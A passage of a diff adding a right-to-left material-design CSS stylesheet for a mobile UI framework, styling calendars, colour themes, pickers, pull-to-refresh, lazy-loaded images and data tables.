.calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-right.calendar .calendar-week-header, + .md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.md .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.md .theme-dark .calendar-week-header { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .calendar-day.calendar-day-disabled { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day.calendar-day-prev, +.md .theme-dark .calendar-day.calendar-day-next { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .calendar-modal, +.calendar-modal.md .theme-dark { + background: #202020; +} +.md .theme-dark .calendar.calendar-sheet:before, +.calendar.md .theme-dark.calendar-sheet:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .calendar .toolbar, +.calendar.md .theme-dark .toolbar { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar .toolbar a.link:before, +.calendar.md .theme-dark .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .calendar .toolbar a.link.active-state:before, +.calendar.md .theme-dark .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .calendar .toolbar a.link .ripple-wave, +.calendar.md .theme-dark .toolbar a.link .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .color-theme-red .calendar-header, +.md .color-red .calendar-header { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-today span, +.md .color-red .calendar-day.calendar-day-today span { + color: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-has-events span:after, +.md .color-red .calendar-day.calendar-day-has-events span:after { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-selected span, +.md .color-red .calendar-day.calendar-day-selected span { + background: #f44336; + color: #fff; +} +.md .color-theme-red .calendar-day.calendar-day-selected span:after, +.md .color-red .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-green .calendar-header, +.md .color-green .calendar-header { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-today span, +.md .color-green .calendar-day.calendar-day-today span { + color: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-has-events span:after, +.md .color-green .calendar-day.calendar-day-has-events span:after { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-selected span, +.md .color-green .calendar-day.calendar-day-selected span { + background: #4caf50; + color: #fff; +} +.md .color-theme-green .calendar-day.calendar-day-selected span:after, +.md .color-green .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-blue .calendar-header, +.md .color-blue .calendar-header { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-today span, +.md .color-blue .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-has-events span:after, +.md .color-blue .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span, +.md .color-blue .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span:after, +.md .color-blue .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-pink .calendar-header, +.md .color-pink .calendar-header { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-today span, +.md .color-pink .calendar-day.calendar-day-today span { + color: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-has-events span:after, +.md .color-pink .calendar-day.calendar-day-has-events span:after { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span, +.md .color-pink .calendar-day.calendar-day-selected span { + background: #e91e63; + color: #fff; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span:after, +.md .color-pink .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-yellow .calendar-header, +.md .color-yellow .calendar-header { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-today span, +.md .color-yellow .calendar-day.calendar-day-today span { + color: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after, +.md .color-yellow .calendar-day.calendar-day-has-events span:after { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span, +.md .color-yellow .calendar-day.calendar-day-selected span { + background: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span:after, +.md .color-yellow .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-orange .calendar-header, +.md .color-orange .calendar-header { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-today span, +.md .color-orange .calendar-day.calendar-day-today span { + color: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-has-events span:after, +.md .color-orange .calendar-day.calendar-day-has-events span:after { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span, +.md .color-orange .calendar-day.calendar-day-selected span { + background: #ff9800; + color: #fff; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span:after, +.md .color-orange .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-gray .calendar-header, +.md .color-gray .calendar-header { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-today span, +.md .color-gray .calendar-day.calendar-day-today span { + color: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-has-events span:after, +.md .color-gray .calendar-day.calendar-day-has-events span:after { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span, +.md .color-gray .calendar-day.calendar-day-selected span { + background: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span:after, +.md .color-gray .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-white .calendar-header, +.md .color-white .calendar-header { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-today span, +.md .color-white .calendar-day.calendar-day-today span { + color: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-has-events span:after, +.md .color-white .calendar-day.calendar-day-has-events span:after { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span, +.md .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; + color: #fff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span:after, +.md .color-white .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-black .calendar-header, +.md .color-black .calendar-header { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-today span, +.md .color-black .calendar-day.calendar-day-today span { + color: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-has-events span:after, +.md .color-black .calendar-day.calendar-day-has-events span:after { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-selected span, +.md .color-black .calendar-day.calendar-day-selected span { + background: #000000; + color: #fff; +} +.md .color-theme-black .calendar-day.calendar-day-selected span:after, +.md .color-black .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +/* === Picker === */ +.picker { + width: 100%; + height: 260px; +} +.picker.picker-inline, +.popover .picker { + height: 200px; +} +@media (orientation: landscape) and (max-height: 415px) { + .picker:not(.picker-inline) { + height: 200px; + } +} +.picker-popover { + width: 280px; +} +.picker-columns { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + overflow: hidden; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; + text-align: right; + height: 100%; + position: relative; + -webkit-mask-box-image: linear-gradient(to top, transparent, transparent 5%, white 20%, white 80%, transparent 95%, transparent); +} +.picker-column { + position: relative; + max-height: 100%; +} +.picker-column.picker-column-first:before, +.picker-column.picker-column-last:after { + height: 100%; + width: 100vw; + position: absolute; + content: ''; + top: 0; +} +.picker-column.picker-column-first:before { + left: 100%; +} +.picker-column.picker-column-last:after { + right: 100%; +} +.picker-column.picker-column-left { + text-align: left; +} +.picker-column.picker-column-center { + text-align: center; +} +.picker-column.picker-column-right { + text-align: right; +} +.picker-column.picker-column-divider { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.picker-items { + -webkit-transition: 300ms; + transition: 300ms; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.picker-item { + height: 36px; + line-height: 36px; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + left: 0; + top: 0; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; +} +.picker-item span { + padding: 0 10px; +} +.picker-column-absolute .picker-item { + position: absolute; +} +.picker-item.picker-item-far { + pointer-events: none; +} +.picker-item.picker-item-selected { + -webkit-transform: translate3d(0, 0, 0) rotateX(0deg); + transform: translate3d(0, 0, 0) rotateX(0deg); +} +.picker-center-highlight { + height: 36px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + width: 100%; + top: 50%; + margin-top: -18px; + pointer-events: none; +} +.picker-3d .picker-columns { + overflow: hidden; + -webkit-perspective: 1200px; + perspective: 1200px; +} +.picker-3d .picker-column, +.picker-3d .picker-items, +.picker-3d .picker-item { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.picker-3d .picker-column { + overflow: visible; +} +.picker-3d .picker-item { + -webkit-transform-origin: center center -110px; + transform-origin: center center -110px; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.md .picker-popover .toolbar { + border-radius: 2px 2px 0 0; +} +.md .picker-columns { + font-size: 20px; +} +.md .picker-column-divider { + color: rgba(0, 0, 0, 0.87); +} +.md .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 48px); +} +.md .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .picker-column-divider { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .picker-center-highlight:before { + background-color: rgba(255, 255, 255, 0.15); +} +.md .theme-dark .picker-center-highlight:after { + background-color: rgba(255, 255, 255, 0.15); +} +/* === Infinite === */ +.infinite-scroll-preloader { + margin-left: auto; + margin-right: auto; + text-align: center; +} +.infinite-scroll-preloader.preloader { + display: block; +} +.md .infinite-scroll-preloader { + margin-top: 32px; + margin-bottom: 32px; +} +/* === PTR === */ +.ptr-preloader .preloader { + position: absolute; + left: 50%; +} +.md .ptr-preloader { + position: absolute; + left: 50%; + top: 16px; + width: 40px; + height: 40px; + border-radius: 50%; + background: #fff; + margin-left: -20px; + margin-top: -7px; + z-index: 100; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +@media (min-width: 768px) { + .md .ptr-preloader { + top: 24px; + } +} +.md .ptr-preloader .preloader { + width: 22px; + height: 22px; + margin-left: -11px; + margin-top: -11px; + top: 50%; + visibility: hidden; +} +.md .ptr-preloader .preloader .preloader-inner-gap, +.md .ptr-preloader .preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .ptr-arrow { + width: 22px; + height: 22px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 3px solid #757575; + position: absolute; + left: 50%; + top: 50%; + margin-left: -11px; + margin-top: -11px; + border-left-color: transparent; + border-radius: 50%; + opacity: 1; + -webkit-transform: rotate(150deg); + transform: rotate(150deg); +} +.md .ptr-arrow:after { + content: ''; + width: 0px; + height: 0px; + position: absolute; + left: -5px; + bottom: 0px; + border-bottom-width: 6px; + border-bottom-style: solid; + border-bottom-color: inherit; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + -webkit-transform: rotate(-40deg); + transform: rotate(-40deg); +} +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader, +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader * { + -webkit-animation: none; + animation: none; +} +.md .ptr-refreshing .ptr-preloader .preloader, +.md .ptr-pull-up .ptr-preloader .preloader { + visibility: visible; +} +.md .ptr-refreshing .ptr-arrow, +.md .ptr-pull-up .ptr-arrow { + visibility: hidden; +} +.md .ptr-refreshing .ptr-preloader { + -webkit-transform: translate3d(0, 66px, 0); + transform: translate3d(0, 66px, 0); +} +.md .ptr-transitioning .ptr-arrow { + -webkit-transition: 300ms; + transition: 300ms; +} +.md .ptr-pull-up .ptr-arrow { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transform: rotate(620deg) !important; + transform: rotate(620deg) !important; + opacity: 0; +} +.md .ptr-transitioning .ptr-preloader, +.md .ptr-refreshing .ptr-preloader { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.md .ptr-no-navbar .ptr-preloader { + top: auto; + bottom: 100%; + margin-bottom: 7px; +} +.md .page-with-subnavbar .ptr-preloader, +.md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, +.md .searchbar ~ .ptr-content .ptr-preloader { + top: 64px; +} +@media (min-width: 768px) { + .md .page-with-subnavbar .ptr-preloader, + .md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, + .md .searchbar ~ .ptr-content .ptr-preloader { + top: 72px; + } +} +/* === Images Lazy Loading === */ +.lazy-loaded.lazy-fade-in { + -webkit-animation: lazyFadeIn 600ms; + animation: lazyFadeIn 600ms; +} +@-webkit-keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +/* === Data Table === */ +.data-table { + overflow-x: auto; +} +.data-table table { + width: 100%; + border: none; + padding: 0; + margin: 0; + border-collapse: collapse; + text-align: right; +} +.data-table thead { + font-size: 12px; +} +.data-table thead th, +.data-table thead td { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + line-height: 16px; +} +.data-table thead i.icon, +.data-table thead i.f7-icons, +.data-table thead i.material-icons { + vertical-align: top; +} +.data-table th, +.data-table td { + padding: 0; + position: relative; +} +.data-table th.numeric-cell, +.data-table td.numeric-cell { + text-align: left; +} +.data-table th.checkbox-cell, +.data-table td.checkbox-cell { + overflow: visible; +} +.data-table th.checkbox-cell label + span, +.data-table td.checkbox-cell label + span { + margin-right: 8px; +} +.data-table th.actions-cell, +.data-table td.actions-cell { + text-align: left; + white-space: nowrap; +} +.data-table th a.icon-only, +.data-table td a.icon-only, +.card .data-table th a.icon-only, +.card .data-table td a.icon-only, +.card.data-table th a.icon-only, +.card.data-table td a.icon-only { + display: inline-block; + vertical-align: middle; + text-align: center; + font-size: 0; + min-width: 0; +} +.data-table th a.icon-only i, +.data-table td a.icon-only i, +.card .data-table th a.icon-only i, +.card .data-table td a.icon-only i, +.card.data-table th a.icon-only i, +.card.data-table td a.icon-only i { + font-size: 18px; + vertical-align: middle; +} +.data-table .sortable-cell:not(.input-cell) { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell.input-cell .table-head-label { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + content: ''; + display: inline-block; + vertical-align: top; + width: 16px; + height: 16px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-size: 0; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 0; +} +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before { + opacity: 0.54; +} +.data-table .sortable-cell.sortable-cell-active:after, +.data-table .sortable-cell.sortable-cell-active .table-head-label:after, +.data-table .sortable-cell.sortable-cell-active:before, +.data-table .sortable-cell.sortable-cell-active .table-head-label:before { + opacity: 0.87 !important; +} +.data-table .sortable-cell.sortable-desc:after, +.data-table .sortable-cell.sortable-desc:after, +.data-table .table-head-label:after, +.data-table .sortable-cell.sortable-desc:before, +.data-table .sortable-cell.sortable-desc:before, +.data-table .table-head-label:before { + -webkit-transform: rotate(180deg) !important; + transform: rotate(180deg) !important; +} +.data-table.card .card-header, +.card .data-table .card-header { + height: 64px; +} +.data-table.card .card-content, +.card .data-table .card-content { + overflow-x: auto; +} +.data-table .data-table-links, +.data-table .data-table-actions { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-actions { + margin-right: auto; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.data-table .data-table-actions a.link { + min-width: 0; +} +.data-table .data-table-actions a.link.icon-only { + line-height: 1; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; +} +.data-table .data-table-header, +.data-table .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 100%; +} +.data-table .data-table-header-selected { + display: none; +} +.data-table.data-table-has-checked .data-table-header { + display: none; +} +.data-table.data-table-has-checked .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-title-selected { + font-size: 14px; +} +.data-table .data-table-footer { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 12px; + overflow: hidden; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.data-table .data-table-rows-select, +.data-table .data-table-pagination { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +@media (max-width: 480px) and (orientation: portrait) { + .data-table.data-table-collapsible thead { + display: none; + } + .data-table.data-table-collapsible tbody, + .data-table.data-table-collapsible tr, + .data-table.data-table-collapsible td { + display: block; + } + .data-table.data-table-collapsible tr { + position: relative; + } + .data-table.data-table-collapsible tr:hover { + background-color: inherit; + } + .data-table.data-table-collapsible td { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + text-align: right; + } + .data-table.data-table-collapsible td:before { + display: none !important; + } + .data-table.data-table-collapsible td:not(.checkbox-cell):before { + width: 40%; + display: block !important; + content: attr(data-collapsible-title); + position: relative; + height: auto; + background: none !important; + -webkit-transform: none !important; + transform: none !important; + font-size: 12px; + margin-left: 16px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + } + .data-table.data-table-collapsible td.checkbox-cell { + position: absolute; + top: 0; + right: 0; + } + .data-table.data-table-collapsible td.checkbox-cell + td { + padding-right: 16px; + } + .data-table.data-table-collapsible td.checkbox-cell ~ td { + margin-right: 32px; + } +} +.data-table .tablet-only, +.data-table .tablet-landscape-only { + display: none; +} +@media (min-width: 768px) { + .data-table .tablet-only { + display: table-cell; + } +} +@media (min-width: 768px) and (orientation: landscape) { + .data-table .tablet-landscape-only { + display: table-cell; + } +} +.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.theme-dark .data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E"); +} +.md .data-table thead th, +.md .data-table thead td { + font-weight: 500; + height: 56px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .data-table thead th:not(.sortable-cell-active), +.md .data-table thead td:not(.sortable-cell-active) { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table thead i.icon, +.md .data-table thead i.material-icons { + font-size: 16px; + width: 16px; + height: 16px; +} +.md .data-table tbody { + font-size: 13px; +} +.md .data-table tbody tr.data-table-row-selected { + background: #f5f5f5; +} +.md .data-table tbody td { + height: 48px; +} +.md .data-table th, +.md .data-table td { + padding-left: 28px; + padding-right: 28px; +} +.md .data-table th.label-cell, +.md .data-table td.label-cell { + padding-left: 24px; + padding-right: 24px; +} +.md .data-table th:first-child, +.md .data-table td:first-child { + padding-right: 24px; +} +.md .data-table th:last-child, +.md .data-table td:last-child { + padding-left: 24px; +} +.md .data-table th.checkbox-cell, +.md .data-table td.checkbox-cell { + width: 18px; + padding-right: 24px; + padding-left: 12px; +} +.md .data-table th.checkbox-cell + td, +.md .data-table td.checkbox-cell + td, +.md .data-table th.checkbox-cell + th, +.md .data-table td.checkbox-cell + th { + padding-right: 12px; +} +.md .data-table th.actions-cell a.link, +.md .data-table td.actions-cell a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table th.actions-cell a.link + a.link, +.md .data-table td.actions-cell a.link + a.link { + margin-right: 24px; +} +.md .data-table th.actions-cell a.icon-only, +.md .data-table td.actions-cell a.icon-only { + width: 24px; + height: 24px; + line-height: 24px; +} +.md .sortable-cell:not(.numeric-cell):after { + margin-right: 8px; +} +.md .sortable-cell.numeric-cell:before { + margin-left: 8px; +} +.md .data-table.card .card-header, +.md .card .data-table .card-header, +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + padding-right: 24px; + padding-left: 14px; +} +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + height: 56px; +} +.md .data-table-title { + font-size: 20px; +} +.md .data-table-links a.link + a.link, +.md .data-table-actions a.link + a.link { + margin-right: 24px; +} +.md .data-table-actions a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-actions a.link.icon-only { + width: 24px; + height: 24px; + overflow: visible; +} +.md .data-table-actions a.link.icon-only.active-state { + background: none; +} +.md .data-table .card-header > .data-table-header, +.md .data-table .card-header > .data-table-header-selected { + padding-right: 24px; + padding-left: 14px; + margin-right: -24px; + margin-left: -14px; + padding-top: 4px; + padding-bottom: 4px; + height: 100%; +} +.md .data-table-header-selected { + background: rgba(33, 150, 243, 0.1); +} +.md .data-table-title-selected { + color: #2196f3; +} +.md .data-table tbody td:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-desktop .data-table tbody tr:hover { + background: #f5f5f5; +} +.md .data-table-footer { + height: 56px; + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-rows-select a.link, +.md .data-table-pagination a.link { + width: 48px; + height: 48px; +} +.md .data-table-rows-select a.link:before, +.md .data-table-pagination a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .data-table-rows-select a.link.active-state:before, +.md .data-table-pagination a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .data-table-rows-select + .data-table-pagination { + margin-right: 32px; +} +.md .data-table-rows-select .input { + margin-right: 24px; +} +.md .data-table-pagination-label { + margin-left: 20px; +} +.md .data-table-footer:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.md .input-cell .table-head-label + .input { + margin-top: 4px; +} +.md .input-cell .input { + height: 24px; +} +.md .input-cell .input input, +.md .input-cell .input textarea, +.md .input-cell .input select { + height: 24px; + color: #212121; + font-size: 14px; +} +.md .input-cell .input .input-clear-button { + -webkit-transform: scale(0.8); + transform: scale(0.8); +} +@media (max-width: 480px) and (orientation: portrait) { + .md .data-table.data-table-collapsible td { + padding-left: 16px; + padding-right: 16px; + } + .md .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: rgba(0, 0, 0, 0.54); + font-weight: 500; + line-height: 16px; + } + .md .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 